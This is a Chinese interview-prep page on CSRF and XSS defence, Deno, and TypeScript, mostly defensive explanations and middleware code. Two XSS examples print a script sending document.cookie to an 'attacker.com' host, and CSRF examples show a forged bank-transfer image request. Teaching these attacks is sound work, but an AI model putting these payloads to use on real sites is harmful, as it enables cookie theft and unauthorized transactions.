乐闻世界logo
搜索文章和话题

服务端面试题手册

如何使用 CSRF Token 防护跨站请求伪造攻击?

CSRF Token 是防止跨站请求伪造攻击最常用和最有效的防护机制之一。CSRF Token 的基本原理CSRF Token 是一个随机生成的、不可预测的字符串,服务器在用户访问受保护的页面时生成,并将其嵌入到表单中或通过其他方式传递给客户端。当用户提交表单时,服务器会验证请求中包含的 Token 是否与服务器存储的 Token 匹配。Token 的生成和存储生成阶段:使用加密安全的随机数生成器Token 应该足够长(至少 128 位)包含时间戳或会话 ID 等信息可以使用 UUID 或其他唯一标识符存储方式:服务器端 Session:最常用的方式,将 Token 存储在用户 Session 中加密 Cookie:将加密后的 Token 存储在 Cookie 中数据库:将 Token 与用户关联存储在数据库中Token 的验证流程用户访问表单页面时,服务器生成 TokenToken 被嵌入到表单的隐藏字段中用户提交表单时,Token 随请求发送到服务器服务器验证请求中的 Token 是否与 Session 中的 Token 匹配验证成功则处理请求,失败则拒绝请求实现示例// 生成 Tokenfunction generateCSRFToken() { return crypto.randomBytes(32).toString('hex');}// 中间件验证 Tokenfunction csrfProtection(req, res, next) { const token = req.body._csrf || req.headers['x-csrf-token']; if (token !== req.session.csrfToken) { return res.status(403).send('Invalid CSRF token'); } next();}Token 的安全注意事项一次性使用:每次请求后应该更新 Token时效性:Token 应该有过期时间唯一性:每个用户会话应该有独立的 Token不可预测性:使用加密安全的随机数生成器HTTPS 传输:确保 Token 在传输过程中不被窃取与其他防护措施的配合CSRF Token 通常与其他防护措施配合使用:SameSite Cookie 属性Referer 头验证自定义 HTTP 头这种多层防护策略可以提供更全面的安全保护。
阅读 0·2月21日 16:11

什么是 Deno?它和 Node.js 有什么区别?

Deno 是由 Node.js 创始人 Ryan Dahl 开发的现代化 JavaScript 和 TypeScript 运行时环境。Deno 的设计目标是解决 Node.js 在早期设计上的一些缺陷,并提供更安全、更简洁的开发体验。核心特性Deno 具有以下核心特性:默认安全:Deno 默认情况下脚本无法访问文件系统、网络或环境变量,除非显式授予相应权限内置 TypeScript 支持:Deno 原生支持 TypeScript,无需额外的转译步骤去中心化模块系统:使用 URL 导入模块,不依赖 package.json 和 node_modules单一可执行文件:Deno 只有一个可执行文件,无需复杂的安装过程内置工具链:包含格式化、测试、linting、打包等开发工具标准库:提供经过审核的标准库,确保代码质量与 Node.js 的主要区别| 特性 | Deno | Node.js ||------|------|---------|| 模块系统 | ES Modules (URL 导入) | CommonJS + ES Modules || 包管理 | 无 package.json,直接使用 URL | npm + package.json || 安全性 | 默认安全,需要显式授权 | 默认无安全限制 || TypeScript | 原生支持 | 需要配置和转译 || API 设计 | Promise-based | 回调和 Promise 混合 || 架构 | Rust + V8 | C++ + V8 |权限系统Deno 的权限系统是其安全特性的核心:# 授予文件系统读取权限deno run --allow-read script.ts# 授予网络访问权限deno run --allow-net script.ts# 授予所有权限(不推荐)deno run --allow-all script.ts模块导入示例// 直接从 URL 导入模块import { serve } from "https://deno.land/std/http/server.ts";// 从本地文件导入import { myFunction } from "./utils.ts";// 使用标准库import { assertEquals } from "https://deno.land/std/testing/asserts.ts";典型应用场景Web 服务器和 API 开发命令行工具开发自动化脚本微服务架构实时应用(WebSocket)Deno 特别适合需要快速开发、安全性和现代化开发体验的项目。
阅读 0·2月21日 16:10

Deno 如何支持 TypeScript?

Deno 原生支持 TypeScript,这是其最吸引人的特性之一。与 Node.js 需要配置 TypeScript 编译器不同,Deno 可以直接运行 TypeScript 文件,无需任何额外的转译步骤。TypeScript 支持概述Deno 内置了 TypeScript 编译器,使用 V8 引擎的 TypeScript 支持和 swc 编译器来提供快速的类型检查和转译。直接运行 TypeScript1. 基本用法// app.tsinterface User { id: number; name: string; email: string;}function createUser(user: User): User { console.log(`Creating user: ${user.name}`); return user;}const newUser: User = { id: 1, name: "John Doe", email: "john@example.com"};createUser(newUser);运行:deno run app.ts2. 类型检查Deno 会在运行时进行类型检查:# 运行时进行类型检查deno run app.ts# 仅类型检查(不执行)deno check app.ts# 类型检查所有文件deno check **/*.ts类型定义1. 使用 Deno 内置类型Deno 提供了丰富的内置类型定义:// 文件系统操作const content: string = await Deno.readTextFile("./data.txt");// HTTP 服务器import { serve } from "https://deno.land/std@0.208.0/http/server.ts";const handler = async (req: Request): Promise<Response> => { return new Response("Hello World");};2. 第三方库类型从 URL 导入的模块通常包含类型定义:import { Application, Router } from "https://deno.land/x/oak@v12.6.1/mod.ts";const app = new Application();const router = new Router();3. 自定义类型定义如果模块没有类型定义,可以创建自定义类型:// types.d.tsdeclare module "https://example.com/module.js" { export function doSomething(): void; export const value: number;}配置选项1. tsconfig.jsonDeno 支持使用 tsconfig.json 进行配置:{ "compilerOptions": { "strict": true, "esModuleInterop": true, "skipLibCheck": true }, "include": ["src/**/*"], "exclude": ["node_modules"]}2. 命令行选项# 禁用类型检查(不推荐)deno run --no-check app.ts# 使用特定的 tsconfigdeno run --config=tsconfig.json app.ts# 启用严格模式deno run app.ts # 默认启用严格模式类型检查策略1. 本地类型检查# 检查本地文件deno check app.ts# 检查整个项目deno check src/**/*.ts2. 远程类型检查Deno 会缓存远程模块的类型定义:# 重新下载并检查远程类型deno check --remote app.ts# 清除类型缓存deno cache --reload app.ts实际应用示例1. 类型安全的 API 服务器// api-server.tsinterface User { id: number; name: string; email: string;}interface CreateUserRequest { name: string; email: string;}const users: Map<number, User> = new Map();function createUser(request: CreateUserRequest): User { const id = users.size + 1; const user: User = { id, ...request }; users.set(id, user); return user;}import { serve } from "https://deno.land/std@0.208.0/http/server.ts";const handler = async (req: Request): Promise<Response> => { const url = new URL(req.url); if (req.method === "POST" && url.pathname === "/users") { try { const body: CreateUserRequest = await req.json(); const user = createUser(body); return new Response(JSON.stringify(user), { headers: { "Content-Type": "application/json" } }); } catch (error) { return new Response("Invalid request", { status: 400 }); } } return new Response("Not Found", { status: 404 });};await serve(handler, { port: 8000 });2. 类型安全的数据库操作// database.tsinterface DatabaseRecord { id: string; createdAt: Date; updatedAt: Date;}interface Post extends DatabaseRecord { title: string; content: string; authorId: string;}class Database<T extends DatabaseRecord> { private records: Map<string, T> = new Map(); async create(record: Omit<T, keyof DatabaseRecord>): Promise<T> { const id = crypto.randomUUID(); const now = new Date(); const newRecord: T = { id, createdAt: now, updatedAt: now, ...record } as T; this.records.set(id, newRecord); return newRecord; } async findById(id: string): Promise<T | undefined> { return this.records.get(id); }}const postDB = new Database<Post();const newPost = await postDB.create({ title: "Hello Deno", content: "TypeScript support is amazing!", authorId: "user-1"});3. 类型安全的工具函数// utils.tstype AsyncFunction<T = any> = (...args: any[]) => Promise<T>;async function retry<T>( fn: AsyncFunction<T>, maxAttempts: number = 3, delay: number = 1000): Promise<T> { let lastError: Error | undefined; for (let attempt = 1; attempt <= maxAttempts; attempt++) { try { return await fn(); } catch (error) { lastError = error as Error; if (attempt < maxAttempts) { await new Promise(resolve => setTimeout(resolve, delay)); } } } throw lastError;}async function fetchWithTimeout( url: string, timeout: number = 5000): Promise<Response> { const controller = new AbortController(); const timeoutId = setTimeout(() => controller.abort(), timeout); try { const response = await fetch(url, { signal: controller.signal }); clearTimeout(timeoutId); return response; } catch (error) { clearTimeout(timeoutId); throw error; }}类型检查性能优化1. 增量类型检查Deno 会缓存类型检查结果:# 首次运行会进行完整类型检查deno run app.ts# 后续运行会使用缓存deno run app.ts2. 选择性类型检查# 只检查修改的文件deno check app.ts# 排除某些文件deno check --exclude=**/*.test.ts src/**/*.ts与 Node.js 的对比| 特性 | Deno | Node.js ||------|------|---------|| TypeScript 支持 | 原生支持 | 需要配置 tsc || 运行方式 | 直接运行 .ts 文件 | 需要先编译为 .js || 类型检查 | 运行时检查 | 编译时检查 || 配置复杂度 | 零配置 | 需要 tsconfig.json || 性能 | 使用 swc 快速编译 | 使用 tsc 较慢 || 类型定义 | 自动加载 | 需要 @types 包 |最佳实践始终使用类型:充分利用 TypeScript 的类型系统启用严格模式:使用 strict: true 获得更好的类型安全使用接口定义数据结构:明确 API 和数据模型的类型避免 any 类型:使用 unknown 或具体类型替代定期运行类型检查:使用 deno check 确保代码质量利用泛型:编写可复用的类型安全代码Deno 的 TypeScript 支持使得开发者能够享受类型安全的好处,而无需复杂的配置和构建流程,大大提高了开发效率和代码质量。
阅读 0·2月21日 16:10

CSRF 和 XSS 攻击有什么区别,如何区分它们?

CSRF(跨站请求伪造)和 XSS(跨站脚本攻击)是两种常见的 Web 安全攻击,虽然它们都涉及跨站交互,但攻击原理、目标和防护方式完全不同。核心区别1. 攻击原理CSRF:利用用户的认证状态伪造用户发起的请求不需要获取用户的敏感信息浏览器自动发送 CookieXSS:注入恶意脚本代码在用户浏览器中执行脚本可以获取用户的敏感信息利用网站对用户输入的信任2. 攻击目标CSRF:目标是服务器利用用户的身份执行操作修改用户数据、执行敏感操作不需要窃取用户凭证XSS:目标是用户浏览器窃取用户信息、Cookie执行恶意代码、劫持会话可以进一步发起 CSRF 攻击3. 攻击条件CSRF:用户已登录目标网站目标网站使用 Cookie 认证用户访问恶意网站目标网站没有 CSRF 防护XSS:网站存在输入验证漏洞网站未对用户输入进行过滤用户访问包含恶意脚本的页面浏览器执行恶意脚本攻击示例对比CSRF 攻击示例<!-- 恶意网站上的代码 --><img src="https://bank.com/transfer?to=attacker&amount=1000" />用户访问恶意网站时,浏览器自动发送银行网站的 Cookie银行网站误以为是用户主动发起的转账请求XSS 攻击示例<!-- 恶意评论内容 --><script> var cookies = document.cookie; fetch('https://attacker.com/steal?cookies=' + cookies);</script>恶意脚本在用户浏览器中执行窃取用户的 Cookie 信息并发送到攻击者服务器防护方式对比CSRF 防护CSRF Token:在表单中添加随机 TokenSameSite Cookie:限制 Cookie 的跨站发送验证 Referer 头:检查请求来源双重提交 Cookie:同时验证 Cookie 和请求参数XSS 防护输入验证:过滤和验证用户输入输出编码:对输出内容进行 HTML 编码Content Security Policy (CSP):限制脚本来源HttpOnly Cookie:防止 JavaScript 访问 Cookie相互关系虽然 CSRF 和 XSS 是不同的攻击方式,但它们之间存在关联:XSS 可以辅助 CSRF:通过 XSS 窃取 CSRF Token绕过 CSRF 防护机制防护策略互补:HttpOnly Cookie 防止 XSS 窃取 Cookie,但不防护 CSRFCSRF Token 防护 CSRF,但不防护 XSS需要同时实施两种防护策略实际应用中的防护策略// 综合防护示例app.use(helmet()); // CSP 等 XSS 防护app.use(cookieSession({ secret: 'secret', cookie: { httpOnly: true, // 防止 XSS 窃取 secure: true, sameSite: 'lax' // CSRF 防护 }}));app.use(csrf({ cookie: true })); // CSRF Token理解 CSRF 和 XSS 的区别对于构建安全的 Web 应用至关重要,开发者需要同时防范这两种攻击。
阅读 0·2月21日 16:10

什么是 CSRF 攻击,它的基本原理和攻击条件是什么?

CSRF(Cross-Site Request Forgery)是一种常见的网络安全攻击方式,也被称为跨站请求伪造攻击。它利用用户在已认证网站中的身份,诱使用户在不知情的情况下向目标网站发送恶意请求。CSRF 攻击原理CSRF 攻击的核心原理是利用浏览器的自动发送 Cookie 机制。当用户登录网站 A 后,浏览器会保存网站 A 的认证 Cookie。如果用户在未登出的情况下访问了恶意网站 B,网站 B 可以构造一个指向网站 A 的请求,浏览器会自动附带网站 A 的 Cookie,使得网站 A 误以为这是用户主动发起的请求。CSRF 攻击条件用户已登录目标网站:攻击者需要利用用户的认证状态目标网站使用 Cookie 认证:浏览器会自动发送 Cookie目标网站没有 CSRF 防护机制:缺乏有效的请求验证用户访问恶意网站:通过点击链接、加载图片等方式触发与 XSS 的区别CSRF:利用用户的身份,伪造用户请求XSS:注入恶意脚本,在用户浏览器中执行CSRF 不需要获取用户的敏感信息,只需要利用用户的认证状态常见攻击场景修改用户密码转账操作发送邮件修改用户设置添加管理员权限防护措施CSRF Token:在表单中添加随机生成的 TokenSameSite Cookie 属性:限制 Cookie 的跨站发送验证 Referer 头:检查请求来源双重提交 Cookie:同时验证 Cookie 和请求参数CSRF 攻击的危害性在于它可以在用户不知情的情况下执行敏感操作,因此开发者必须重视并实施有效的防护措施。
阅读 0·2月21日 16:10

CSRF 和 XSS 攻击有什么区别?

CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的 Web 安全漏洞,但它们的攻击原理和防御方式完全不同。核心区别1. 攻击原理CSRF:利用用户已认证的身份诱导用户向目标网站发送请求浏览器自动携带 Cookie不需要注入脚本代码XSS:在目标网站注入恶意脚本脚本在受害者浏览器中执行可以窃取 Cookie、会话令牌可以执行任意 JavaScript 代码2. 攻击目标CSRF:攻击服务器端利用用户的合法身份执行非预期的操作(如转账、修改密码)XSS:攻击客户端利用网站的漏洞窃取用户数据或控制用户浏览器3. 攻击方式CSRF:通过跨域请求(如 <img>、<form>、<iframe>)不需要用户交互(部分情况)请求看起来来自合法用户XSS:通过注入脚本代码(如 <script>、<onerror>)需要用户访问包含恶意代码的页面脚本在页面上下文中执行4. 危害范围CSRF:受限于用户权限只能执行用户有权限的操作无法直接读取响应内容XSS:可以窃取 Cookie、Token可以读取页面内容可以执行任意操作可以传播给其他用户5. 防御方式CSRF 防御:CSRF TokenSameSite Cookie验证 Referer/Origin双重提交 CookieXSS 防御:输入验证和过滤输出编码(HTML、JavaScript、URL)Content Security Policy (CSP)HttpOnly Cookie实际案例CSRF 攻击示例<!-- 恶意网站 --><img src="https://bank.com/transfer?to=attacker&amount=1000">XSS 攻击示例<!-- 恶意评论 --><script> fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>共同点都是跨站攻击都利用了浏览器的安全模型都需要用户访问恶意内容都可以通过安全编码预防总结CSRF 是"冒充用户",XSS 是"控制用户"。CSRF 利用用户的合法身份执行操作,XSS 注入脚本控制浏览器。理解两者的区别对于构建安全的 Web 应用至关重要。
阅读 0·2月21日 16:10

CSRF 防护的未来发展趋势有哪些,如何提前规划?

CSRF 防护技术随着 Web 安全威胁的不断演变而持续发展,了解未来趋势有助于提前规划和实施更有效的防护策略。CSRF 防护的未来发展趋势1. 浏览器原生安全增强1.1 SameSite Cookie 的普及// 未来所有浏览器都将默认使用 SameSite=Lax// 服务器端配置示例const cookieConfig = { httpOnly: true, secure: true, sameSite: 'lax', // 将成为默认值 partitioned: true // 新的分区 Cookie 属性};// CHIPS (Cookies Having Independent Partitioned State)res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'none', partitioned: true // 防止跨站追踪});1.2 私有网络访问控制// Private Network Access (PNA) API// 浏览器将限制对私有网络的跨站请求const pnaConfig = { 'private-network-access': { 'pre-flight': 'require', // 要求预检请求 'allow': 'same-origin' // 仅允许同源 }};// 服务器响应头res.setHeader('Access-Control-Allow-Private-Network', 'true');2. 人工智能驱动的防护2.1 机器学习攻击检测# 使用机器学习检测 CSRF 攻击import tensorflow as tffrom sklearn.ensemble import RandomForestClassifierclass CSRFAttackDetector: def __init__(self): self.model = self.load_model() self.feature_extractor = FeatureExtractor() def load_model(self): # 加载预训练的机器学习模型 return tf.keras.models.load_model('csrf_detector.h5') def detect_attack(self, request): # 提取请求特征 features = self.feature_extractor.extract(request) # 预测攻击概率 attack_probability = self.model.predict(features) return { 'is_attack': attack_probability > 0.7, 'confidence': attack_probability, 'attack_type': self.classify_attack(features) }class FeatureExtractor: def extract(self, request): return { 'request_frequency': self.get_request_frequency(request), 'user_agent_pattern': self.analyze_user_agent(request), 'referer_consistency': self.check_referer(request), 'token_entropy': self.calculate_token_entropy(request), 'geographic_anomaly': self.detect_geo_anomaly(request), 'time_pattern': self.analyze_time_pattern(request) }2.2 行为分析// 基于用户行为的动态防护class BehaviorBasedCSRFProtection { constructor() { this.userProfiles = new Map(); this.mlModel = new MLModel(); } async analyzeRequest(userId, request) { const profile = this.getUserProfile(userId); const behaviorScore = this.calculateBehaviorScore(profile, request); // 使用机器学习模型评估风险 const riskAssessment = await this.mlModel.predict({ behaviorScore, requestPattern: this.extractPattern(request), historicalData: profile.history }); return { allowed: riskAssessment.risk < 0.3, riskLevel: riskAssessment.risk, recommendedAction: this.getRecommendedAction(riskAssessment) }; } calculateBehaviorScore(profile, request) { const factors = { requestFrequency: this.compareFrequency(profile, request), timingPattern: this.compareTiming(profile, request), geographicConsistency: this.checkGeography(profile, request), deviceConsistency: this.checkDevice(profile, request) }; return this.weightedSum(factors); }}3. 零信任架构3.1 持续验证// 零信任架构下的 CSRF 防护class ZeroTrustCSRFProtection { constructor() { this.trustEngine = new TrustEngine(); this.contextAnalyzer = new ContextAnalyzer(); } async validateRequest(userId, request) { // 持续验证用户身份和上下文 const identity = await this.verifyIdentity(userId); const context = await this.contextAnalyzer.analyze(request); // 动态评估信任度 const trustScore = await this.trustEngine.evaluate({ identity, context, request, time: Date.now() }); // 根据信任度决定是否需要额外验证 if (trustScore < 0.5) { return this.requireAdditionalVerification(request); } return { allowed: true }; } async verifyIdentity(userId) { // 多因素身份验证 const factors = await Promise.all([ this.verifyPassword(userId), this.verifyDevice(userId), this.verifyBiometrics(userId), this.verifyBehavior(userId) ]); return { verified: factors.every(f => f.verified), confidence: this.calculateConfidence(factors) }; }}3.2 微分段// 微分段架构class MicrosegmentedCSRFProtection { constructor() { this.segments = new Map(); this.policies = new PolicyEngine(); } async validateRequest(userId, request) { // 确定请求所属的微分段 const segment = this.determineSegment(userId, request); // 应用分段策略 const policy = await this.policies.getPolicy(segment); // 验证请求是否符合策略 const compliance = await this.policies.validate(request, policy); if (!compliance.compliant) { return { allowed: false, reason: compliance.violation }; } return { allowed: true }; } determineSegment(userId, request) { // 基于多个因素确定分段 const factors = { userRole: this.getUserRole(userId), sensitivity: this.getRequestSensitivity(request), location: this.getUserLocation(userId), device: this.getDeviceType(userId) }; return this.segmentEngine.classify(factors); }}4. WebAssembly 加速4.1 高性能 Token 验证// 使用 WebAssembly 实现 Token 验证use wasm_bindgen::prelude::*;#[wasm_bindgen]pub struct CSRFValidator { secret_key: Vec<u8>,}#[wasm_bindgen]impl CSRFValidator { #[wasm_bindgen(constructor)] pub fn new(secret_key: String) -> Self { CSRFValidator { secret_key: secret_key.into_bytes(), } } #[wasm_bindgen] pub fn validate_token(&self, token: &str, timestamp: u64) -> bool { // 高性能的 Token 验证逻辑 let token_bytes = hex::decode(token).unwrap(); // 使用优化的加密算法 let expected = self.generate_expected_token(timestamp); // 恒定时间比较 self.constant_time_compare(&token_bytes, &expected) } fn constant_time_compare(&self, a: &[u8], b: &[u8]) -> bool { if a.len() != b.len() { return false; } let mut result = 0u8; for i in 0..a.len() { result |= a[i] ^ b[i]; } result == 0 }}4.2 客户端防护// WebAssembly 客户端防护class WasmCSRFProtection { constructor() { this.wasmModule = null; } async initialize() { // 加载 WebAssembly 模块 const response = await fetch('/csrf-protection.wasm'); const wasmBytes = await response.arrayBuffer(); this.wasmModule = await WebAssembly.instantiate(wasmBytes); } async validateToken(token, timestamp) { if (!this.wasmModule) { await this.initialize(); } // 调用 WebAssembly 函数 const { validate_token } = this.wasmModule.instance.exports; const tokenPtr = this.allocateString(token); const result = validate_token(tokenPtr, timestamp); this.freeMemory(tokenPtr); return result === 1; }}5. 量子安全加密5.1 后量子密码学// 使用后量子密码学算法const { Kyber } = require('pqcrypto');class QuantumSafeCSRFProtection { async generateToken() { // 使用 Kyber 密钥交换 const keyPair = await Kyber.keypair(); const ciphertext = await Kyber.encrypt(keyPair.publicKey); // 生成量子安全的 Token const token = { publicKey: keyPair.publicKey, ciphertext: ciphertext, timestamp: Date.now(), signature: await this.signToken(keyPair) }; return this.encodeToken(token); } async validateToken(encodedToken) { const token = this.decodeToken(encodedToken); // 验证签名 const signatureValid = await this.verifySignature(token); if (!signatureValid) { return false; } // 验证时间戳 const timeValid = this.validateTimestamp(token.timestamp); if (!timeValid) { return false; } // 使用 Kyber 解密验证 const decrypted = await Kyber.decrypt(token.ciphertext); return decrypted !== null; }}6. 去中心化身份6.1 DID 验证// 使用去中心化身份 (DID)const { DIDResolver, VerifiableCredential } = require('did-resolver');class DIDCSRFProtection { constructor() { this.didResolver = new DIDResolver(); this.credentialVerifier = new VerifiableCredential(); } async validateRequest(did, request) { // 解析 DID 文档 const didDocument = await this.didResolver.resolve(did); // 验证可验证凭证 const credential = await this.credentialVerifier.verify( request.credential, didDocument ); if (!credential.verified) { return { allowed: false, reason: 'Invalid credential' }; } // 检查凭证权限 const hasPermission = this.checkPermission( credential.claims, request.action ); return { allowed: hasPermission, credential: credential.claims }; } checkPermission(claims, action) { // 检查用户是否有执行该操作的权限 return claims.permissions && claims.permissions.includes(action); }}实施建议1. 渐进式升级// 渐进式实施新防护技术class ProgressiveCSRFProtection { constructor() { this.protectionLevels = [ { level: 1, methods: ['sameSite', 'csrfToken'] }, { level: 2, methods: ['sameSite', 'csrfToken', 'behaviorAnalysis'] }, { level: 3, methods: ['sameSite', 'csrfToken', 'behaviorAnalysis', 'mlDetection'] }, { level: 4, methods: ['sameSite', 'csrfToken', 'behaviorAnalysis', 'mlDetection', 'zeroTrust'] } ]; this.currentLevel = 1; } async upgradeProtection() { if (this.currentLevel >= this.protectionLevels.length) { return; } const nextLevel = this.protectionLevels[this.currentLevel]; // 逐步启用新的防护方法 for (const method of nextLevel.methods) { try { await this.enableMethod(method); console.log(`Enabled ${method}`); } catch (error) { console.error(`Failed to enable ${method}:`, error); // 回滚 await this.rollback(); return; } } this.currentLevel++; }}2. 监控和反馈// 持续监控和优化class CSRFProtectionMonitor { constructor() { this.metrics = new MetricsCollector(); this.optimizer = new ProtectionOptimizer(); } async monitor() { const metrics = await this.metrics.collect(); // 分析防护效果 const analysis = await this.optimizer.analyze(metrics); // 根据分析结果调整策略 if (analysis.recommendations.length > 0) { await this.applyRecommendations(analysis.recommendations); } // 生成报告 const report = this.generateReport(metrics, analysis); await this.sendReport(report); } async applyRecommendations(recommendations) { for (const recommendation of recommendations) { try { await this.optimizer.apply(recommendation); console.log(`Applied recommendation: ${recommendation.id}`); } catch (error) { console.error(`Failed to apply recommendation:`, error); } } }}CSRF 防护的未来将更加智能化、自动化和自适应,结合人工智能、零信任架构和新兴技术,提供更强大、更灵活的安全保护。
阅读 0·2月21日 16:10

企业级应用中如何设计和实现 CSRF 防护架构?

CSRF 防护在企业级应用中需要考虑架构、性能、可扩展性和合规性等多个方面,以确保在复杂的环境中提供有效的安全保护。企业级 CSRF 防护架构1. 集中式 Token 管理// 集中式 Token 服务class CentralizedTokenService { constructor(redisClient) { this.redis = redisClient; this.tokenExpiry = 3600; // 1 小时 } async generateToken(userId) { const token = crypto.randomBytes(32).toString('hex'); const key = `csrf:${userId}:${token}`; await this.redis.setex(key, this.tokenExpiry, '1'); return token; } async validateToken(userId, token) { const key = `csrf:${userId}:${token}`; const exists = await this.redis.exists(key); if (exists) { // 验证成功后删除 Token(一次性使用) await this.redis.del(key); return true; } return false; } async revokeUserTokens(userId) { const pattern = `csrf:${userId}:*`; const keys = await this.redis.keys(pattern); if (keys.length > 0) { await this.redis.del(...keys); } }}2. 分布式环境下的 CSRF 防护// 分布式 CSRF 防护中间件class DistributedCSRFProtection { constructor(tokenService, config) { this.tokenService = tokenService; this.config = config; } middleware() { return async (req, res, next) => { // 跳过安全方法 if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) { return next(); } // 获取用户 ID const userId = this.getUserId(req); if (!userId) { return res.status(401).send('Unauthorized'); } // 验证 Token const token = this.extractToken(req); if (!token) { return res.status(403).send('CSRF Token required'); } const isValid = await this.tokenService.validateToken(userId, token); if (!isValid) { return res.status(403).send('Invalid CSRF Token'); } next(); }; } getUserId(req) { // 从 Session 或 JWT 中获取用户 ID return req.user?.id || req.session?.userId; } extractToken(req) { // 从请求头或请求体中提取 Token return req.headers['x-csrf-token'] || req.body._csrf; }}性能优化策略1. Token 缓存// 使用 Redis 缓存 Tokenclass CachedTokenService { constructor(redisClient, localCache) { this.redis = redisClient; this.localCache = localCache; this.ttl = 3600; } async getToken(userId) { // 首先检查本地缓存 const cachedToken = this.localCache.get(`csrf:${userId}`); if (cachedToken) { return cachedToken; } // 从 Redis 获取 const token = await this.redis.get(`csrf:${userId}`); if (token) { this.localCache.set(`csrf:${userId}`, token, this.ttl); return token; } // 生成新 Token const newToken = crypto.randomBytes(32).toString('hex'); await this.redis.setex(`csrf:${userId}`, this.ttl, newToken); this.localCache.set(`csrf:${userId}`, newToken, this.ttl); return newToken; }}2. 批量 Token 验证// 批量验证多个请求的 Tokenclass BatchTokenValidator { constructor(tokenService) { this.tokenService = tokenService; this.batchSize = 100; } async validateBatch(requests) { const results = []; for (let i = 0; i < requests.length; i += this.batchSize) { const batch = requests.slice(i, i + this.batchSize); const batchResults = await Promise.all( batch.map(req => this.validateSingle(req)) ); results.push(...batchResults); } return results; } async validateSingle(request) { const { userId, token } = request; const isValid = await this.tokenService.validateToken(userId, token); return { userId, token, isValid, timestamp: Date.now() }; }}高可用性设计1. Token 服务冗余// 多个 Token 服务的负载均衡class RedundantTokenService { constructor(services) { this.services = services; this.currentService = 0; } async generateToken(userId) { const service = this.getNextService(); try { return await service.generateToken(userId); } catch (error) { // 尝试下一个服务 return await this.generateTokenWithRetry(userId, 3); } } async generateTokenWithRetry(userId, retries) { for (let i = 0; i < retries; i++) { const service = this.getNextService(); try { return await service.generateToken(userId); } catch (error) { if (i === retries - 1) { throw error; } } } } getNextService() { const service = this.services[this.currentService]; this.currentService = (this.currentService + 1) % this.services.length; return service; }}2. 故障转移// 故障检测和转移class FailoverTokenService { constructor(primaryService, backupService) { this.primary = primaryService; this.backup = backupService; this.isPrimaryHealthy = true; this.healthCheckInterval = 30000; // 30 秒 } startHealthCheck() { setInterval(async () => { try { await this.primary.ping(); this.isPrimaryHealthy = true; } catch (error) { console.error('Primary service unhealthy:', error); this.isPrimaryHealthy = false; } }, this.healthCheckInterval); } async generateToken(userId) { if (this.isPrimaryHealthy) { try { return await this.primary.generateToken(userId); } catch (error) { console.error('Primary service failed, using backup:', error); return await this.backup.generateToken(userId); } } return await this.backup.generateToken(userId); }}合规性和审计1. 审计日志// CSRF 操作审计日志class CSRFAuditLogger { constructor(logService) { this.logService = logService; } async logTokenGeneration(userId, token, metadata) { const auditLog = { event: 'CSRF_TOKEN_GENERATED', userId, tokenHash: this.hashToken(token), timestamp: new Date().toISOString(), metadata: { ip: metadata.ip, userAgent: metadata.userAgent, sessionId: metadata.sessionId } }; await this.logService.log(auditLog); } async logTokenValidation(userId, token, isValid, metadata) { const auditLog = { event: 'CSRF_TOKEN_VALIDATED', userId, tokenHash: this.hashToken(token), isValid, timestamp: new Date().toISOString(), metadata: { ip: metadata.ip, userAgent: metadata.userAgent, sessionId: metadata.sessionId, requestPath: metadata.requestPath } }; await this.logService.log(auditLog); } hashToken(token) { return crypto.createHash('sha256').update(token).digest('hex'); }}2. 合规性报告// 生成合规性报告class ComplianceReportGenerator { constructor(auditLogger) { this.auditLogger = auditLogger; } async generateReport(startDate, endDate) { const logs = await this.auditLogger.getLogs(startDate, endDate); return { summary: { totalTokensGenerated: logs.filter(l => l.event === 'CSRF_TOKEN_GENERATED').length, totalValidations: logs.filter(l => l.event === 'CSRF_TOKEN_VALIDATED').length, failedValidations: logs.filter(l => l.event === 'CSRF_TOKEN_VALIDATED' && !l.isValid).length, uniqueUsers: new Set(logs.map(l => l.userId)).size }, failedAttempts: this.analyzeFailedAttempts(logs), suspiciousActivity: this.detectSuspiciousActivity(logs), complianceStatus: this.checkCompliance(logs) }; } analyzeFailedAttempts(logs) { const failedLogs = logs.filter(l => l.event === 'CSRF_TOKEN_VALIDATED' && !l.isValid); return { byUser: this.groupBy(failedLogs, 'userId'), byIP: this.groupBy(failedLogs, l => l.metadata.ip), byTime: this.groupByTime(failedLogs) }; } detectSuspiciousActivity(logs) { const suspicious = []; // 检测异常的验证失败率 const userFailureRates = this.calculateUserFailureRates(logs); Object.entries(userFailureRates).forEach(([userId, rate]) => { if (rate > 0.5) { // 失败率超过 50% suspicious.push({ type: 'HIGH_FAILURE_RATE', userId, rate }); } }); return suspicious; } checkCompliance(logs) { // 检查是否符合安全标准 const checks = { hasAuditLogs: logs.length > 0, hasTokenExpiry: true, // 需要从配置检查 hasSecureTransmission: true, // 需要从配置检查 hasProperValidation: true }; return { compliant: Object.values(checks).every(v => v), checks }; }}监控和告警1. 实时监控// CSRF 攻击实时监控class CSRFMonitor { constructor(metricsService, alertService) { this.metrics = metricsService; this.alerts = alertService; this.thresholds = { failedValidationsPerMinute: 10, suspiciousIPRate: 5, unusualUserAgentRate: 3 }; } async monitorValidation(userId, token, isValid, metadata) { // 记录指标 this.metrics.increment('csrf.validations.total'); if (!isValid) { this.metrics.increment('csrf.validations.failed'); await this.checkFailureThresholds(userId, metadata); } else { this.metrics.increment('csrf.validations.success'); } } async checkFailureThresholds(userId, metadata) { const recentFailures = await this.getRecentFailures(60); // 最近 60 秒 if (recentFailures.length > this.thresholds.failedValidationsPerMinute) { await this.alerts.send({ severity: 'HIGH', message: 'High CSRF validation failure rate detected', details: { count: recentFailures.length, timeWindow: '60s' } }); } // 检查特定 IP 的失败率 const ipFailures = recentFailures.filter(f => f.metadata.ip === metadata.ip); if (ipFailures.length > this.thresholds.suspiciousIPRate) { await this.alerts.send({ severity: 'MEDIUM', message: 'Suspicious IP detected', details: { ip: metadata.ip, failures: ipFailures.length } }); } }}2. 仪表板// CSRF 安全仪表板class CSRFSecurityDashboard { constructor(monitor, reportGenerator) { this.monitor = monitor; this.reportGenerator = reportGenerator; } async getDashboardData(timeRange = '24h') { const report = await this.reportGenerator.generateReport( this.getStartDate(timeRange), new Date() ); const metrics = await this.monitor.getMetrics(timeRange); return { overview: { totalValidations: metrics.validations.total, successRate: this.calculateSuccessRate(metrics), activeUsers: report.summary.uniqueUsers }, security: { failedAttempts: report.summary.failedValidations, suspiciousActivity: report.suspiciousActivity.length, complianceStatus: 